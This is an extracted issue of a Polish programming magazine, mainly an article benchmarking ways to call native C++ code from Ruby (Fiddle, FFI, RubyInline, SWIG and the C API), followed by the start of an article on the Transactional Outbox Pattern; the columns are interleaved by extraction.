DR oraz AMD. Możemy zauważyć, że wydajność modeli AutoML Code-free mobile automated deep learning model for ophthalmic image classification
and deployment as an app for smartphones. Investigative ophthalmology & visual
jest obiecująca także we wsparciu diagnostyki medycznej, mimo zło- science, 61(7), 2006.
żonemu charakterowi danych wejściowych. Obecnie jest jednak za [19] Zang, P., Hormel, T. T., Hwang, T. S., Bailey, S. T., Huang, D., Jia, Y. (2023). Deep-le-
arning-aided diagnosis of diabetic retinopathy, age-related macular degeneration, and
wcześnie na stosowanie modeli utworzonych za pomocą rozwiązań glaucoma based on structural and angiographic OCT. Ophthalmology Science, 3(1).
AutoML w przypadkach klinicznych m.in. ze względu na ograniczone [20] Fawcett, T. (2006). An introduction to ROC analysis. In Pattern Recognition Letters
(Vol. 27, Issue 8, pp. 861–874). Elsevier BV. https://doi.org/10.1016/j.patrec.2005.10.010
możliwości wyjaśnialności i interpretowalności (ang. interpretability).

TOMASZ KRZY WICKI


tomasz@krzywicki.pro
Programowaniem zajmuje się od 2010 roku. Obecnie pracuje z językami Python oraz Go. Zawodowo związany z Uniwersytetem
Warmińsko-Mazurskim w Olsztynie, Uniwersytetem SWPS oraz firmą Billennium. Autor oraz współautor książek i artykułów
naukowych. Specjalizuje się w przetwarzaniu i rozpoznawaniu obrazów, projektowaniu systemów uczących się dla obszaru
medycyny oraz w rozwiązaniach backendowych.

<24> { 3 / 2023 < 108 > }


JĘZYKI PROGRAMOWANIA

Wywoływanie kodu natywnego w C++ z języka Ruby


Ruby to wysokopoziomowy język programowania, który znany jest przede wszystkim z tego,
że pozwala na tworzenie eleganckiego i zwięzłego kodu. Niemniej jednak nie jest on po-
wszechnie uznawany za język o wysokiej wydajności. Dlatego też czasem może zaistnieć
potrzeba przeniesienia części obliczeń do kodu natywnego, aby zwiększyć szybkość działa-
nia programu. W tym artykule opiszę kilka sposobów, które umożliwią osiągnięcie tego celu.

A naliza wydajności będzie odbywała się na systemie Arch Linux,


Ruby w wersji 3.2, i9-12900K, 128GB RAM. Dzięki temu po-
równanie czasu wykonania będzie racjonalne. Jako autor przestrze-
Listing 2. Wyniki pomiaru czasu wykonania

user
find_primes
system
1.526844
total
0.000000 1.526844 (
real
1.527416)
gam jednak przed wyciąganiem zbyt daleko idących wniosków na
Listing 3. Wyniki pomiaru czasu wykonania z użyciem techniki JIT
podstawie małej liczby próbek.
user system total real
find_primes 1.003313 0.000627 1.003940 ( 1.004472)
KOD W RUBY
Jako przykład kodu, który znacząco zyska na przeniesieniu do war- Mając te wyniki, możemy zaobserwować, że zastosowanie JIT zna-
stwy wykonywanej natywnie, wezmę szukanie liczb pierwszych w za- cząco wpływa na wydajność naszego kodu. Czas wykonania funkcji
danym przedziale. Implementacja naiwnej funkcji is_prime? znaj- find_primes uległ wyraźnemu skróceniu, co świadczy o korzyściach
duje się w Listingu 0. płynących z optymalizacji kodu przy użyciu tej techniki.

Listing 0. Definicja funkcji is_prime?

def is_prime? n
FIDDLE
return false if n < 2
return true if n == 2 Gem Fiddle (nie mylić z Fiddler) to biblioteka języka Ruby, która
return false if n % 2 == 0 umożliwia bezpośredni dostęp do funkcji zadeklarowanych w języku
(3..Math.sqrt(n)).step(2) do |i|
return false if n % i == 0 C z języka Ruby. Pozwala na tworzenie i operowanie na obiektach, ope-
end
true
rowanie na wskaźnikach i strukturach, a także wywoływanie funkcji.
end Fiddle jest elementem biblioteki standardowej, co oznacza, że jest
def find_primes range dostępny bez konieczności instalacji dodatkowych gemów. Biblioteka
range.select{ |n| is_prime? n } ta działa na zasadzie wiązania dynamicznego (ang. dynamic linking).
end
Zaimplementujmy zbliżony algorytm do tego pokazanego w Li-
Przetestujmy ją na zakresie między [1015, 1015+99]. Oczekiwanym re- stingu 0, ale tym razem używając C++. Funkcja is_prime zwraca typ
zultatem jest znalezienie dwóch liczb pierwszych: int, a nie bool, ponieważ niektóre z później wykorzystanych technik
» 1015+37 będą tego wymagały. W Listingu 4 przedstawiono kod źródłowy al-
» 1015+91 gorytmu, a w Listingu 5 jego plik nagłówkowy. Plik projektu CMake
znajduje się w Listingu 6.
Listing 1. Kod implementujący pomiar czasu wykonania za pomocą modułu
benchmark Listing 4. prime.cpp
Benchmark.bm do |x| #include "prime.hpp"
x.report("find_primes") do #include <cmath>
raise "not equal" unless [
1000000000000037, extern "C"
1000000000000091 int is_prime(int64_t n)
] == find_primes( {
1_000_000_000_000_000..1_000_000_000_000_099 if (n < 2) return 0;
) if (n == 2) return 1;
end
end if (n % 2 == 0) return 0;

for (int64_t i = 3; i * i <= n; i += 2) {


if (n % i == 0) return 0;
}
Program zostanie wykonany dwukrotnie: za pomocą standardowego
interpretera (Listing 2) oraz z wykorzystaniem techniki JIT (ang. just return 1;
}
in time (compilation)), która pozwala na znaczące przyspieszenie kodu
w wielu interpreterach, jak i maszynach wirtualnych (Listing 3).

<26> { 3 / 2023 < 108 > }


JĘZYKI PROGRAMOWANIA

Listing 5. prime.hpp Listing A. Pełen przykład wykorzystania Fiddle w kodzie Ruby

#pragma once require 'benchmark'


#include <stdint.h> require 'minitest'
require 'fiddle'
extern "C"
int is_prime(int64_t n); libprime = Fiddle::Handle.new("[...]/libprime.so")

IS_PRIME_FUNC = Fiddle::Function.new(
Listing 6. CMakeLists.txt
libprime['is_prime'],
[Fiddle::TYPE_LONG_LONG],
cmake_minimum_required(VERSION 3.26) Fiddle::TYPE_INT
project(prime VERSION 1.0 LANGUAGES CXX) )

add_library(prime SHARED def is_prime? n


src/prime.cpp IS_PRIME_FUNC.call(n) == 1
src/prime.hpp end
) def find_primes range
target_compile_features(prime PUBLIC cxx_std_20) range.select{ |n| is_prime? n }
end

Benchmark.bm do |x|
Efektem budowy tego projektu będzie biblioteka libprime.so., którą x.report("find_primes") do
raise "not equal" unless [
będzie można linkować dynamicznie, co umożliwi wykorzystanie jej 1000000000000037,
w innych programach – w tym przypadku w interpreterze Ruby. 1000000000000091
] == find_primes(
Listing 7. Wywołanie CMake 1_000_000_000_000_000..1_000_000_000_000_099
)
end
% cmake -S . -B build -DCMAKE_BUILD_TYPE=Release
end
-- The CXX compiler identification is GNU 13.1.1
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done Wywołanie tego kodu daje następujące rezultaty:
-- Check for working CXX compiler: /usr/bin/c++ - skipped
-- Detecting CXX compile features
-- Detecting CXX compile features - done Listing B. Pomiar czasu wykonania programu z użyciem Fiddle
-- Configuring done (0.2s)
-- Generating done (0.0s) user system total real
-- Build files have been written to: /[...]/build find_primes 0.079105 0.000433 0.079538 ( 0.079642)
% cmake --build build
[ 50%] Building CXX object CMakeFiles/[...]/prime.cpp.o
[100%] Linking CXX shared library libprime.so
[100%] Built target prime Można zauważyć, że przyspieszenie jest prawie dwudziestokrotne w po-
% ls -lah build/libprime.so równaniu do kodu w Ruby, mimo że nie została zastosowana żadna
-rwxr-xr-x 1 krzaq krzaq 15K Jun 30 18:40 build/libprime.so
optymalizacja na poziomie algorytmicznym.

Ze względu na poziom skomplikowania projektu odwołamy się do tej


FFI
biblioteki bezpośrednio, bez instalowania jej w standardowych ścież-
kach w systemie. Wykorzystamy do tego bibliotekę Fiddle. FFI jest biblioteką Ruby o działaniu bardzo zbliżonym do biblioteki
Przede wszystkim trzeba ją dodać do programu, za pomocą komendy Fiddle – pozwala ona na dynamiczne wiązanie bibliotek i wywolywa-
require 'fiddle'. Następnie ładujemy bibliotekę do jej obiektu-uchwytu: nie zawartego w nich kodu. Różnice znajdują się głównie na warstwie
syntaktycznej. FFI zainstalujemy za pomocą polecenia gem install
Listing 8. Ładowanie biblioteki libprime.so za pomocą Fiddle
ffi. Następnie definiujemy moduł odpowiedzialny za reprezentację
libprime = Fiddle::Handle.new("[...]/libprime.so") natywnej biblioteki, którą chcemy wykorzystać – w tym przypadku
będzie to dokładnie ta sama biblioteka, co wcześniej.
Kolejnym krokiem będzie utworzenie uchwytu do konkretnej funkcji
Listing C. Definicja modułu LibPrime wykorzystującego bibliotekę libprime.so
oraz zdefiniowanie jej sygnatury. Wykorzystana do tego zostanie kla-
sa Fiddle::Function, do której konstruktora podamy następujące module LibPrime
extend FFI::Library
parametry: ffi_lib '[...]/libprime.so'
» adres symbolu is_prime z biblioteki: libprime['is_prime'] attach_function :is_prime, [:long_long], :int
end
» listę parametrów funkcji jako tablicę: [Fiddle::TYPE_LONG_LONG]
» wartość zwracaną przez funkcję: Fiddle::TYPE_INT
Warto zauważyć, że w tej definicji biblioteki od razu zawarte są de-
Listing 9. Definicja funkcji is_prime z użyciem Fiddle
finicje funkcji. Teraz, aby wywołać funkcję is_prime, możemy użyć
IS_PRIME_FUNC = Fiddle::Function.new( jej bezpośrednio w naszym kodzie, korzystając z modułu LibPrime.
libprime['is_prime'],
[Fiddle::TYPE_LONG_LONG],
Listing D. Implementacja funkcji is_prime? z wykorzystaniem FFI
Fiddle::TYPE_INT
)
def is_prime? n
LibPrime.is_prime(n) == 1
Teraz docelowa funkcja może być wywołana za pomocą metody call end
utworzonego obiektu. Pełny przykład pokazany jest w Listingu A.

<28> { 3 / 2023 < 108 > }


/ Wywoływanie kodu natywnego w C++ z języka Ruby /

Przyjrzyjmy się teraz finalnemu kodowi, który wykorzystuje FFI if (n % 2 == 0) return 0;


w celu wywołania kodu natywnego: for (long i = 3; i * i <= n; i += 2) {
if (n % i == 0) return 0;
Listing E. Pełen przykład wykorzystania FFI w kodzie Ruby }

return 1;
require 'benchmark'
}
require 'minitest'
CODE
require 'ffi'
end
module LibPrime end
extend FFI::Library
ffi_lib '../shared_prime/build/libprime.so'
attach_function :is_prime, [:long_long], :int Definicja funkcji is_prime? wymagać będzie utworzenia instancji
end klasy PrimeChecker, a następnie wywołania zdefiniowanej w niej
def is_prime? n funkcji języka C. Zostało to przedstawione w Listingu 11.
LibPrime.is_prime(n) == 1
end Listing 11. Implementacja funkcji is_prime? z użyciem RubyInline
def find_primes range
range.select{ |n| is_prime? n } PC = PrimeChecker.new
end
def is_prime? n
Benchmark.bm do |x| PC.is_prime(n) == 1
x.report("find_primes") do end
raise "not equal" unless [
1000000000000037,
1000000000000091
Cały kod programu, który korzysta z RubyInline do osadzenia kodu
] == find_primes( C w Ruby, znajduje się w Listingu 12.
1_000_000_000_000_000..1_000_000_000_000_099
) Listing 12. Pełen przykład wykorzystania RubyInline w kodzie Ruby
end
end
require 'benchmark'
require 'minitest'
require 'inline'
Różnica wydajności pomiędzy FFI a Fiddle jest minimalna i mieści class PrimeChecker
się w granicach błędu pomiarowego. Poniżej przedstawiono wyniki inline do |builder|
builder.c <<CODE
pomiaru czasu wykonania: int is_prime(long n)
{
Listing F. Pomiar czasu wykonania programu z użyciem FFI if (n < 2) return 0;
if (n == 2) return 1;
user system total real
find_primes 0.076062 0.000567 0.076629 ( 0.076741) if (n % 2 == 0) return 0;

for (long i = 3; i * i <= n; i += 2) {


if (n % i == 0) return 0;
}
Jak widać, oba podejścia – zarówno FFI, jak i Fiddle – dają podobne
return 1;
rezultaty wydajnościowe. Wybór pomiędzy tymi bibliotekami zale- }
ży od preferencji programisty. Warto zaznaczyć, że oba rozwiązania CODE
end
umożliwiają nam wywoływanie kodu natywnego w Ruby w sposób end
elastyczny i efektywny.
PC = PrimeChecker.new

def is_prime? n
RUBYINLINE end
PC.is_prime(n) == 1

Kolejną interesującą biblioteką umożliwiającą osadzenie kodu w C def find_primes range


range.select{ |n| is_prime? n }
i C++ bezpośrednio w kodzie Ruby jest RubyInline, która pozwala na end
bardzo łatwą integrację prostych funkcji, w efekcie rozwijając hybry- Benchmark.bm do |x|
dowe rozwiązania. x.report("find_primes") do
raise "not equal" unless [
Aby skorzystać z RubyInline, tworzymy klasę, która będzie zawie- 1000000000000037,
rać nasz natywny kod w językach C lub C++. W naszym przykładzie 1000000000000091
] == find_primes(
klasą będzie PrimeChecker. W jej definicji wykorzystujemy metodę 1_000_000_000_000_000..1_000_000_000_000_099
inline do wbudowania kodu przekazanego tekstu – kodu w C lub )
end
C++ – jako metody klasy. end

Listing 10. Implementacja klasy PrimeChecker zawierającej kod w języku C


Czas wykonania jest bardzo zbliżony do tego z użyciem bibliotek Fid-
class PrimeChecker dle i FFI. Wyniki pomiaru zawarte są w Listingu 13.
inline do |builder|
builder.c <<CODE
Listing 13. Pomiar czasu wykonania programu z użyciem RubyInline
int is_prime(long n)
{
if (n < 2) return 0; user system total real
if (n == 2) return 1; find_primes 0.076082 0.000080 0.076162 ( 0.076230)

{ WWW.PROGRAMISTAMAG.PL } <29>
JĘZYKI PROGRAMOWANIA

SWIG Po zdefiniowaniu interfejsu używamy następującej komendy, aby


utworzyć plik z kodem C++ odpowiedzialnym za powiązanie kodu
SWIG (Simplified Wrapper and Interface Generator) to narzędzie C++ z modułem języka Ruby:
umożliwiające automatyczne generowanie interfejsu między kodem
Listing 16. Komenda wywołania SWIG
napisanym w C lub C++ a innymi językami programowania. SWIG
ułatwia tworzenie wiązań (ang. bindings) dla następujących języków: % swig -c++ -ruby prime.i

» C#
» D Kolejnym krokiem jest zdefiniowanie pliku extconf.rb (Listing 17),
» Go który odpowiedzialny będzie zarówno za wygenerowanie pliku Ma-
» Guile kefile (Listing 18), jak i jego uruchomienie (Listing 19).
» Java
Listing 17. Plik extconf.rb
» Javascript
» Lua require 'mkmf'

» MzScheme/Racket have_library('stdc++')

» OCaml $CFLAGS << ' -I[...]/ruby-3.2.0/'


$CFLAGS << ' -I[...]/ruby-3.2.0/x86_64-linux/'
» Octave $CFLAGS << ' -fPIC'
» Perl $CXXFLAGS << ' -fPIC'
» PHP create_makefile('primechecker')
» Python
Listing 18. Tworzenie Makefile z extconf.rb
» R
» Ruby % ruby extconf.rb
checking for -lstdc++... yes
» Scilab creating Makefile
» Tcl
Ostatnim krokiem jest kompilacja modułu oraz jego instalacja w ka-
W tym artykule, z oczywistych względów, skupię się na generowaniu talogu Ruby. Zostało to przedstawione w Listingu 19.
kodu w języku Ruby.
Listing 19. Kompilacja i instalacja modułu primechecker.so
Sposób instalacji SWIG zależy od systemu. W moim przypadku
wystarczyło zainstalować gotową paczkę z systemowego repozyto- % make
compiling prime_wrap.cxx
rium za pomocą komendy sudo pacman -S swig. Kod C++, który compiling prime.cpp
będziemy udostępniać modułowi Ruby, jest prawie identyczny z po- linking shared-object primechecker.so
% make install
przednimi implementacjami: /usr/bin/install -c -m 0755 primechecker.so [...]/x86_64-linux

Listing 14. Kod funkcji is_prime dla SWIG


Jego użycie jest bardzo zbliżone do poprzednich prób, ale należy zwró-
#include "prime.hpp" cić uwagę na fakt, że dodajemy moduł tak jak każdy inny moduł Ruby:
#include <cmath>

int is_prime(int64_t n) Listing 1A. Kod wykorzystujący moduł primechecker utworzony z pomocą SWIG

{ require 'benchmark'
if (n < 2) return 0; require 'minitest'
if (n == 2) return 1; require 'primechecker'
if (n % 2 == 0) return 0; def is_prime? n
Primechecker.is_prime(n) == 1
for (int64_t i = 3; i * i <= n; i += 2) {
end
if (n % i == 0) return 0;
} def find_primes range
range.select{ |n| is_prime? n }
return 1;
end
}
Benchmark.bm do |x|
x.report("find_primes") do
Następnie generujemy plik interfejsu SWIG-a. Warto zaznaczyć, że na- raise "not equal" unless [
zwa modułu zaczyna się małą literą, pomimo tego, że konwencją w 1000000000000037,
1000000000000091
Ruby jest zaczynanie jej literą wielką. Konwersja ta zostanie dokona- ] == find_primes(
na automatycznie przez generator. 1_000_000_000_000_000..1_000_000_000_000_099
)
Listing 15. Plik interfejsu SWIG end
end
%module primechecker

%{ Wydajność, tak jak w poprzednich przypadkach, wydaje się być na


#include "prime.hpp"
%} stałym poziomie. Narzut części integracyjnej Ruby jest pomijalny.
int is_prime(long n);

<30> { 3 / 2023 < 108 > }


/ Wywoływanie kodu natywnego w C++ z języka Ruby /

Listing 1B. Pomiar czasu wykonania programu z użyciem SWIG Listing 1C. Funkcja primechecker_is_prime

user system total real static VALUE primechecker_is_prime(VALUE self, VALUE n)


find_primes 0.076342 0.000000 0.076342 ( 0.076438) {
if (TYPE(n) != T_FIXNUM) {
rb_raise(rb_eArgError, "Argument must be Fixnum");
}
RUBY/C API long long num = NUM2LL(n);
return is_prime(num) ? Qtrue : Qfalse;
}
Zamiast korzystać z narzędzi takich jak SWIG, można utworzyć mo-
duł Ruby samodzielnie. Dzięki temu uzyskujemy większą kontrolę
nad kodem, choć odbędzie się to kosztem podwyższonego nakładu Init_primechecker odpowiada za przedstawienie modułu inter-
pracy nad jego utworzeniem i utrzymaniem – zmiana sygnatury preterowi Ruby. Jest ona wywoływana w momencie dodania modułu
funkcji będzie musiała zostać odzwierciedlona w kodzie wiążącym. do skryptu, a jej wywołanie następuje tylko raz w czasie wykonania
Ponadto pozbawimy się możliwości łatwego przeniesienia tego kodu interpretera, nawet przy wielokrotnym wywołaniu require 'prime-
do innych języków programowania. checker'. Wykorzystujemy następujące funkcje API języka Ruby:
Kod samej funkcji is_prime jest bez zmian w stosunku do zapro- » rb_define_module – odpowiada za definicję modułu, jej para-
ponowanej wcześniej biblioteki dynamicznej, dlatego też nie zostanie metrem jest tylko jego nazwa.
poddany analizie. Jednakże teraz musimy zaimplementować nastę- » rb_define_module_function – definiuje funkcję w module. Jej
pujące funkcje: parametry to moduł, nazwa w Ruby, adres funkcji oraz liczba
» funkcję inicjalizującą moduł, zawierającą jego metadane, takie parametrów, które ona przyjmuje. Parametr self nie jest jest
jak jego nazwa czy też lista funkcji, brany pod uwagę.
» funkcję warstwy pośredniczącej dla każdej funkcji, którą chce-
Listing 1D. Funkcja init_primechecker
my udostępnić dla Ruby.
extern "C" void Init_primechecker()
{
W funkcji primechecker_is_prime przyjmujemy typ VALUE – typ VALUE mPrimeChecker = rb_define_module("PrimeChecker");
Ruby oznaczający dowolną wartość dowolnego typu. Dlatego też we- rb_define_module_function(
mPrimeChecker,
wnątrz funkcji musimy sprawdzić, czy parametr jest odpowiedniego "is_prime",
RUBY_METHOD_FUNC(primechecker_is_prime),
typu – w naszym przypadku jest to liczba stałoprzecinkowa. Jeśli tak 1
jest, konwertujemy go na wartość typu long long, wywołujemy is_ );
}
prime, a potem zwracamy wartość logiczną.

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <31>
JĘZYKI PROGRAMOWANIA

Całkowity kod źródłowy znajduje się w Listingu 1E. Zawiera on wy- Użycie takiego modułu przedstawiono w Listingu 21. Można za-
mienione wyżej funkcje oraz podstawową implementację is_prime. uważyć, że nie ma znaczących różnic względem przykładu z użyciem
SWIG.
Listing 1E. Kod źródłowy modułu PrimeChecker
Listing 21. Użycie samodzielnie zdefiniowanego modułu PrimeChecker
#include <cmath>

#include <ruby.h> require 'benchmark'


require 'minitest'
int is_prime(int64_t n) require 'primechecker'
{
if (n < 2) return 0; def is_prime? n
if (n == 2) return 1; return PrimeChecker.is_prime(n)
end
if (n % 2 == 0) return 0;
def find_primes range
for (int64_t i = 3; i * i <= n; i += 2) { range.select{ |n| is_prime? n }
if (n % i == 0) return 0; end
}
Benchmark.bm do |x|
return 1; x.report("find_primes") do
} raise "not equal" unless [
1000000000000037,
static VALUE primechecker_is_prime(VALUE self, VALUE n) 1000000000000091
{ ] == find_primes(
if (TYPE(n) != T_FIXNUM) { 1_000_000_000_000_000..1_000_000_000_000_099
rb_raise(rb_eArgError, "Argument must be Fixnum"); )
} end
long long num = NUM2LL(n); end
return is_prime(num) ? Qtrue : Qfalse;
}

extern "C" void Init_primechecker() Pod względem wydajności rozwiązanie to również wygląda podobnie
{
VALUE mPrimeChecker = rb_define_module("PrimeChecker"); do poprzednich. Narzut Ruby jest pomijalny, a czas wykonania bez
rb_define_module_function( różnic.
mPrimeChecker,
"is_prime", Listing 22. Pomiar czasu wykonania programu z użyciem modułu w C
RUBY_METHOD_FUNC(primechecker_is_prime),
1
user system total real
);
find_primes 0.075535 0.000515 0.076050 ( 0.076115)
}

Aby go skompilować, utworzymy plik Makefile, tym razem samo-


PODSUMOWANIE
dzielnie. Najważniejsze jego elementy to dyrektywa tworzenia biblio-
teki dynamicznej oraz komenda install. Uważny czytelnik może W tym artykule przedstawiłem szereg różnych sposobów na udostęp-
też zauważyć, że do kompilacji dodajemy flagę -fPIC, która odpo- nienie kodu natywnego do kodu w Ruby. Analizując ich wydajność,
wiada za position-independent code. Umożliwia ona linkowanie dyna- można zauważyć, że żaden z nich nie oferuje znaczącej przewagi
miczne, co jest konieczne, aby interpreter Ruby mógł załadować nasz w stosunku do innych – narzut względem natywnej części kodu jest
moduł. Plik Makefile pokazany jest w Listingu 1F, a efekt jest użycia porównywalny. Istotną obserwacją jest to, że kod w zwykłym Ruby
– kompilację i instalację modułu – w Listingu 20. wykazuje znacznie gorszą wydajność.
Mam nadzieję, że zachęciłem choć część czytelników do ekspery-
Listing 1F. Makefile służący do tworzenia i instalacji modułu PrimeChecker
mentacji z przeniesieniem części zadań do języków kompilowanych.
RUBY_DIR=/home/krzaq/.rbenv/versions/3.2.2 Wykorzystanie kodu natywnego w połączeniu z językiem skrypto-
RUBY_MODULE_DIR=\
$(RUBY_DIR)/lib/ruby/site_ruby/3.2.0/x86_64-linux wym takim jak Ruby lub Python może przynieść korzyści zarówno
CXXFLAGS+=-I$(RUBY_DIR)/include/ruby-3.2.0/ pod względem wydajności, jak i możliwości integracji z istniejącymi
CXXFLAGS+=-I$(RUBY_DIR)/include/ruby-3.2.0/x86_64-linux/
CXXFLAGS+=-fPIC narzędziami.
primechecker.so: primechecker.o
$(CXX) -shared -o primechecker.so primechecker.o

primechecker.o: primechecker.cpp PAWEŁ "KRZAQ" ZAKRZEWSKI


$(CXX) $(CXXFLAGS) -c -o primechecker.o primechecker.cpp
https://dev.krzaq.cc
install: primechecker.so
install -c -m 0755 primechecker.so $(RUBY_MODULE_DIR) Absolwent Automatyki i Robotyki oraz Informatyki na Zachodniopomor-
skim Uniwersytecie Technologicznym. Pracuje jako Software Engineer
Listing 20. Kompilacja i instalacja modułu PrimeChecker w Sauce Labs. Programowaniem interesuje się od dzieciństwa, jego ostat-
nie zainteresowania to C++ i metaprogramowanie.
% make
g++ -I[...] -fPIC -c -o primechecker.o primechecker.cpp
g++ -shared -o primechecker.so primechecker.o
% make install
install -c -m 0755 primechecker.so [...]/x86_64-linux

<32> { 3 / 2023 < 108 > }


Wreszcie naucz się pisać dobre testy
i przekonaj się, o ile fajniejsza stanie
się Twoja praca!

Ma
c iej icz
A niserow
O a
lg Ma
aM rm za k
a c i a s z e k- S h a rc i n
G r z e j s zc

Testy poprawiają jakość wytwarzanego


kodu… pod pewnym warunkiem.
Muszą być napisane dobrze.
Zawsze TDD?
Wtedy, kiedy trzeba. Tam, gdzie trzeba.
100% code coverage?
Tak, jak trzeba. Takie, jakie trzeba.
Bez kontekstu i fundamentów
to tylko puste frazesy! Trzeba rozumieć, po co piszemy testy.
Dlaczego warto to robić. Oraz jak!
To trudny temat. Ciężka nauka.
Naucz się tego razem z nami!

Dołącz do darmowego cotygodniowego mailingu


o testach na smarttesting.pl i przekonaj się!
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Gdzie te dane? O zachowaniu spójności


z Transactional Outbox Pattern
Czy tworzyliście system korzystający z komunikacji sieciowej i sprawdzaliście, jak zachowuje
się podczas awarii? Może z niejasnych powodów w którymś serwisie brakowało danych zwią-
zanych z waszym systemem? Takie problemy często wynikają z nieprzemyślanego podejścia
do zachowania spójności w systemach rozproszonych. W artykule omówię jeden ze sposo-
bów, jak zabezpieczyć się przed tym problemem.

ExternalResourceResponsDto response =
SET THE STAGE httpClient.post(dto);
entity.setExternalId(response.getId());

Wyobraźmy sobie następującą sytuację. Rozwijamy projekt, który repository.save(entity);

stał się legacy na długo zanim dołączyliśmy do zespołu. System został commitDbTransaction();

stworzony jako klasyczna aplikacja monolityczna. Mamy frontend, return createResponseOk();


}
backend i bazę danych. Na kolejny sprint otrzymujemy wymaganie:
nasz system (Main Service) ma komunikować się z systemem ze-
wnętrznym (External Service). Wydaje nam się, że mamy szczęście, Komunikacja między systemami wygląda jak na Rysunku 2.
External Service udostępnia przemyślane API w stylu REST. Na pierwszy rzut oka wydaje się, że wszystko działa dobrze.
Transakcja i zmiany w naszym systemie zostaną wycofane, jeśli wy-
wołanie metody httpClient.post rzuci wyjątek. W przeciwnym
wypadku zapiszemy w bazie danych zewnętrzne id, utworzone pod-
czas zapytania, i zatwierdzimy transakcję.
Rzeczywiście, przez większość czasu takie podejście będzie dzia-
łać poprawnie. Co się jednak stanie, jeśli po wywołaniu metody
POST nasza aplikacja ulegnie awarii (Rysunek 3)?
W tej sytuacji nowy obiekt został już utworzony w systemie ze-
wnętrznym, natomiast w lokalnej bazie danych wszystkie zmiany zo-
staną wycofane. Doprowadzi to do braku spójności między systemami.
Częstym argumentem jest to, że prawdopodobieństwo wystąpie-
nia awarii akurat w tym momencie jest tak małe, że nie musimy się
nim przejmować (najczęściej bez głębszej analizy), jednak istnieje
wiele sytuacji, w których może wystąpić błąd:
» Maszyna fizyczna, na której działa nasz serwis, uległa awarii.
Rysunek 1. Komunikacja pomiędzy „naszym” i „zewnętrznym” systemem. Oba systemy mają
» Kubernetes zabił nasz proces ze względu na przekroczenie limi-
własne, niewspółdzielone bazy danych tu pamięci.
» Wystąpił problem z połączeniem z bazą danych i transakcja nie
Pierwsza integracja nie jest specjalnie trudna. Wystarczy w trak- może zostać zatwierdzona.
cie jednego z naszych procesów biznesowych stworzyć nowy obiekt » Wystąpił problem z siecią po utworzeniu zasobu w systemie ze-
w zewnętrznym systemie. Wysłanie żądania musi nastąpić w jednej wnętrznym, przez co nasza aplikacja nie otrzymała poprawnej
transakcji razem z zapisem do naszej bazy danych. Niewiele myśląc, odpowiedzi.
piszemy coś podobnego do kodu przedstawionego w Listingu 1. » Akurat uruchomił się stop-the-world garbage collector, który za-
trzymał całą aplikację na kilkadziesiąt sekund, przez co limit na
Listing 1. Aktualizacja encji głównej w bazie danych i wysyłanie żądania do
systemu zewnętrznego w ramach jednej transakcji bazodanowej zatwierdzenie transakcji został przekroczony.
» W wyniku błędu programistycznego, pomiędzy zapytaniem do
public Response handleBusinessProcessXYZ1() {
startDbTransaction(); zewnętrznego systemu a zatwierdzeniem transakcji, zgłaszany
ResourceEntity entity = repository.
jest NullPointerException. Nawet jeśli wydaje nam się, że
loadEntity(); wystarczająco dokładnie przetestowaliśmy nasze rozwiązanie,
entity.updateValue();
zawsze istnieje ryzyko, że błąd zostanie wprowadzony w przy-
//new integration
szłości. Warto zabezpieczyć nasz kod już teraz na wypadek ta-
ExternalResourceDto dto =
createExternalSystemDto(entity); kich sytuacji

<34> { 3 / 2023 < 108 > }


/ Gdzie te dane? O zachowaniu spójności z Transactional Outbox Pattern /

Rysunek 2. Zgodnie z wymaganiami komunikacja pomiędzy serwerem, bazą danych i serwisem zewnętrznym zachodzi w ramach jednej transakcji

Rysunek 3. Jaki będzie stan całego systemu, jeśli po zapytaniu wystąpi błąd?

Rysunek 4. Dwie transakcje zamiast jednej

{ WWW.PROGRAMISTAMAG.PL } <35>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Pierwszy sposób na poprawę sytuacji może wyglądać jak w Listingu 2.


Komunikacja asynchroniczna na ratunek
Listing 2. Jedna transakcja dla operacji na encji głównej i osobna transakcja
na wysłanie żądania do systemu zewnętrznego Nierzadko przy rozważaniu podanych problemów pojawia się po-
mysł, aby użyć komunikacji asynchronicznej. Często jest to dobry
public Response handleBusinessProcessXYZ1() {
startDbTransaction(); kierunek, jednak „naiwne” dodanie brokera wiadomości pomiędzy
ResourceEntity entity = repository.
systemami nie rozwiąże problemów ze spójnością. Zamieniając syn-
loadEntity(); chroniczne wywołanie HTTP na asynchroniczne wysłanie wiado-
entity.updateValue();
mości, dalej musimy upewnić się, że wiadomość zostanie wysłana,
repository.save(entity);
tylko gdy zapiszemy dane w naszej bazie, oraz że nigdy nie zostanie
commitDbTransaction(); wysłana, jeśli wycofamy transakcję. Dodatkowo rodzi to problemy
//we are sure that the entity is stored natury operacyjnej. Często nie mamy dostępnego brokera wiado-
//in the DB, let’s make a request now
startDbTransaction(); mości w naszej infrastrukturze lub nie wszystkie moduły wchodzące
//new integration
w skład systemu mogą z niego korzystać. Konieczne może być jego
ExternalResourceDto dto = wdrożenie i utrzymanie. Nie zawsze też możemy oczekiwać, że ze-
createExternalSystemDto(entity);
ExternalResourceResponsDto response = wnętrzny system zostanie dostosowany do asynchronicznego API.
httpClient.post(dto);
entity.setExternalId(response.getId());

repository.save(entity); TRANSACTIONAL OUTBOX PATTERN


commitDbTransaction(); Wzorcem, który dobrze sprawdza się w takich sytuacjach, jest Trans-
return createResponseOk(); actional Outbox Pattern, składający się z dwóch głównych elementów:
}
» dodatkowej tabeli OUTBOX do przechowywania informacji na te-
Najpierw próbujemy zapisać dane w naszej bazie danych, a dopiero gdy mat konieczności wykonania zapytań do systemu zewnętrznego,
jesteśmy pewni, że są utrwalone, wykonujemy zapytanie do zewnętrz- » osobnego procesu pobierającego wpisy z tabeli i wykonującego
nego systemu. Następnie aktualizujemy naszą encję (Rysunek 4). zapytania w oddzielnej transakcji.
Niestety takie podejście niewiele zmienia. Po wprowadzonych
zmianach możliwa jest sytuacja, w której pierwsza transakcja po- Zapisanie encji głównej i danych w tabeli OUTBOX musi odbywać się
prawnie zapisze encję, ale zapytanie do zewnętrznego systemu się nie w tej samej transakcji, z gwarancją atomowości.
powiedzie. Efektem będzie nowy lub zaktualizowany obiekt w lokal- Na pierwszy rzut oka może się wydawać, że jedynie niepotrzebnie
nej bazie danych i brak powiązanego obiektu w systemie zewnętrz- skomplikowaliśmy całe rozwiązanie. Musimy obecnie zapisać dwie
nym, co również jest niespójnością danych. encje w bazie danych i stworzyć dodatkowy proces wykonujący zapy-
